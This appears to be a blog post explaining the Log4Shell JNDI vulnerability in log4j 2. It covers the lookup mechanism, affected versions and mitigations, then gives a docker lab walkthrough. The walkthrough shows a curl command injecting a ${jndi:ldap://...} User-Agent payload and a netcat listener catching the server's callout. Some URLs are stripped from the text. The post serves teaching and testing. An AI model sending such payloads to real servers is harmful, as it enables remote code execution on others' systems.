Play with log4shell; just for fun.

Log4Shell: RCE 0-day exploit in log4j 2, a Java logging package


For educational purposes only. Please do not use it for illegal purposes.

I am not a Java Developer, and I am not responsible for any damage caused by this code.

This is a proof of concept.

A 0-day exploit in the popular Java logging library log4j (version 2) resulted in Remote Code Execution (RCE) by logging a particular string. The impact of this vulnerability is quite severe. It is called “Log4Shell” for short. Considering how widespread this library is, this impact can result in complete server control.

The initial mention of the vulnerability was made by @P0rZ9 on Twitter.

What is JNDI?

The Java Naming and Directory Interface is a Java API for a directory service that allows Java software clients to discover and look up data and resources via a name. Like all Java APIs that interface with host systems, JNDI is independent of the underlying implementation


Log4j contains special syntax in the form ${prefix:name} where prefix is one of a number of different Lookups where name should be evaluated. For example, ${java:version} is the current running version of Java. LOG4J2-313 added a jndi Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.” With a : present in the key, as in ${jndi:ldap://} there’s no prefix and the LDAP server is queried for the object. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.

Who is Impacted

Anybody using Apache Struts is likely vulnerable. In particular, any Log4J version prior to v2.15.0 is affected by this vulnerability. In addition, the version 1 branch of Log4J is vulnerable to other RCE attacks and should be updated.

Many companies have been impacted, including big names such as Apple, Amazon, Twitter, and Tesla. Here is a comprehensive list of impacted companies as of the time of the vulnerability release. YfryTchsGD/Log4jAttackSurface

Affected Apache log4j2 versions​

2.0 <= Apache log4j <= 2.14.1

Permanent Mitigation​

Version 2.15.0 of log4j has been released without the vulnerability. log4j-core.jar is available on Maven Central here, with [release notes] and log4j security announcements.

Temporary Mitigation

As per the discussion at HackerNews there are few ways to mitigate this vulnerability temporarily.


If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:


  • Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack’s classloading documentation to understand this behaviour.

Digging deeper

The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that allows you to interface with LDAP or DNS to look up data and resources. Unfortunately, one of the data types that can be returned is a URI pointing to a Java class — and if you load an untrusted Java class, then you’re unwittingly executing someone else’s code.

Even logging a message like the following can trigger a remote LDAP call, causing a criminal Java class to be instantiated."this is a security nightmare! {}", userInput);

A real-world example of this same issue would be:"Request User-Agent: {}", userAgent);

A curl request to a remote server would look like this:

curl -H 'User-Agent: ${jndi:ldap://}'

Where could be a netcat listener running.

As seen on

How the attack works

Fun time, exploit all the things

  • Head to leonjza/log4jpwn

  • After cloning the repo, run the following command:

    docker build -t log4jpwn . # This will build a docker image from the current directory.

  • Run the docker image:

    docker run --rm -p5555:8080 log4jpwn

  • start a netcat listener on port 8888

    nc -lnvp 8888

  • Get your docker interface host ip address:

    ip a s docker0 | grep inet | awk '{print $2}' | cut -d/ -f1

    That would work in Linux and macOS, but not windows. Replace the docker0 with your docker interface name.

  • Exploit the log4j vulnerability. curl -H 'User-Agent: ${jndi:ldap://}' localhost:5555 We can clearly see the log4j library attempted a connection on the netcat listener.

Here we can see the vulnerable library did a callout to the netcat listener. This could be used for all short of attacks. For more info, look at: